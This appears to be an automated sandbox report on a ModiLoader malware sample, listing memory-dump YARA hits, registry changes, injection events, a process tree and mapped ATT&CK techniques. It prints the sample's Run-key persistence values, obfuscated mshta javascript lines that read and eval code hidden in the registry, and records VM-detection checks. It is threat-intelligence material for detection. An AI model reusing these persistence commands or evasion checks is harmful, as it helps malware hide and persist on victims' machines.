modiloader | 5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

ModiLoader Second Stage 38 IoCs

resource	yara_rule
behavioral2/memory/3908-2-0x0000000000400000-0x0000000000438000-memory.dmp	modiloader_stage2
behavioral2/memory/3908-7-0x0000000000400000-0x0000000000438000-memory.dmp	modiloader_stage2
behavioral2/memory/3908-8-0x0000000000BA0000-0x0000000000C6C000-memory.dmp	modiloader_stage2
behavioral2/memory/3908-9-0x0000000000BA0000-0x0000000000C6C000-memory.dmp	modiloader_stage2
behavioral2/memory/3908-10-0x0000000000BA0000-0x0000000000C6C000-memory.dmp	modiloader_stage2
behavioral2/memory/3908-13-0x0000000000BA0000-0x0000000000C6C000-memory.dmp	modiloader_stage2
behavioral2/memory/2016-24-0x0000000000C80000-0x0000000000D4C000-memory.dmp	modiloader_stage2
behavioral2/memory/2016-25-0x0000000000C80000-0x0000000000D4C000-memory.dmp	modiloader_stage2
behavioral2/memory/2016-29-0x0000000000C80000-0x0000000000D4C000-memory.dmp	modiloader_stage2
behavioral2/memory/2016-28-0x0000000000C80000-0x0000000000D4C000-memory.dmp	modiloader_stage2
behavioral2/memory/2016-27-0x0000000000C80000-0x0000000000D4C000-memory.dmp	modiloader_stage2
behavioral2/memory/2016-26-0x0000000000C80000-0x0000000000D4C000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-46-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/2016-40-0x0000000000C80000-0x0000000000D4C000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-50-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-49-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-48-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-47-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-52-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-57-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-59-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-60-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-61-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-58-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-56-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-55-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-54-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-53-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-51-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/536-66-0x0000000001000000-0x00000000010CC000-memory.dmp	modiloader_stage2
behavioral2/memory/536-67-0x0000000001000000-0x00000000010CC000-memory.dmp	modiloader_stage2
behavioral2/memory/536-71-0x0000000001000000-0x00000000010CC000-memory.dmp	modiloader_stage2
behavioral2/memory/536-70-0x0000000001000000-0x00000000010CC000-memory.dmp	modiloader_stage2
behavioral2/memory/536-68-0x0000000001000000-0x00000000010CC000-memory.dmp	modiloader_stage2
behavioral2/memory/536-69-0x0000000001000000-0x00000000010CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-72-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-73-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2
behavioral2/memory/4312-103-0x0000000000A00000-0x0000000000ACC000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:Pxc60OZPvk=\"2i05aESxa\";o7U1=new%20ActiveXObject(\"WScript.Shell\");Dk4uLmfq=\"xpTXcOVo\";bKi60v=o7U1.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\2659736aee\\\\3446265e\");AZafBas2=\"OrDhIE\";eval(bKi60v);PvfVjov1=\"SH\";"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

pid	Process
4312	regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:VwpH6S5m=\"p0JN\";F06o=new%20ActiveXObject(\"WScript.Shell\");tv5rF9XjvY=\"ILMXbtOO\";vV6y7s=F06o.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\2659736aee\\\\3446265e\");CTXp6Swr3b=\"KBi1t1\";eval(vV6y7s);O7AWu3ho=\"CvH9I\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:w0r3eWjx=\"cAmzi\";Qy5=new%20ActiveXObject(\"WScript.Shell\");Vo1FV2TZC=\"ZIf2TQj2n\";EF9S8I=Qy5.RegRead(\"HKCU\\\\software\\\\2659736aee\\\\3446265e\");JDJtC1OQ4l=\"cGPCnG\";eval(EF9S8I);j3sXyvW2=\"C\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	regsvr32.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1576 set thread context of 3908	1576	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe	83

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe

Suspicious behavior: MapViewOfSection 12 IoCs

pid	Process
3908	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe
3908	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe
3908	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe
2016	regsvr32.exe
2016	regsvr32.exe
2016	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe
4312	regsvr32.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1576	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 1576 wrote to memory of 3908	1576	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe	83
PID 1576 wrote to memory of 3908	1576	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe	83
PID 1576 wrote to memory of 3908	1576	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe	83
PID 1576 wrote to memory of 3908	1576	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe	83
PID 1576 wrote to memory of 3908	1576	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe	83
PID 1576 wrote to memory of 3908	1576	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe	83
PID 1576 wrote to memory of 3908	1576	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe	83
PID 1576 wrote to memory of 3908	1576	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe	83
PID 1576 wrote to memory of 3908	1576	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe	83
PID 1576 wrote to memory of 3908	1576	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe	83
PID 1576 wrote to memory of 3908	1576	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe	83
PID 3908 wrote to memory of 2016	3908	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe	84
PID 3908 wrote to memory of 2016	3908	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe	84
PID 3908 wrote to memory of 2016	3908	5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe	84
PID 2016 wrote to memory of 4312	2016	regsvr32.exe	85
PID 2016 wrote to memory of 4312	2016	regsvr32.exe	85
PID 2016 wrote to memory of 4312	2016	regsvr32.exe	85
PID 4312 wrote to memory of 536	4312	regsvr32.exe	88
PID 4312 wrote to memory of 536	4312	regsvr32.exe	88
PID 4312 wrote to memory of 536	4312	regsvr32.exe	88
PID 4312 wrote to memory of 512	4312	regsvr32.exe	94
PID 4312 wrote to memory of 512	4312	regsvr32.exe	94
PID 4312 wrote to memory of 512	4312	regsvr32.exe	94

C:\Users\Admin\AppData\Local\Temp\5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe
"C:\Users\Admin\AppData\Local\Temp\5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1576
- C:\Users\Admin\AppData\Local\Temp\5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe
  "C:\Users\Admin\AppData\Local\Temp\5c48936f3b5f1274b9497476e63870c63afbbcba720fba26cd71a8f274a3b6c1.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2016
  - - C:\Windows\SysWOW64\regsvr32.exe
      regsvr32.exe
      4⤵
      Looks for VirtualBox Guest Additions in registry
      Adds policy Run key to start application
      Looks for VMWare Tools registry key
      Checks BIOS information in registry
      Deletes itself
      Adds Run key to start application
      Maps connected drives based on registry
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:4312
    - - C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\SysWOW64\regsvr32.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:536
    - - C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\SysWOW64\regsvr32.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion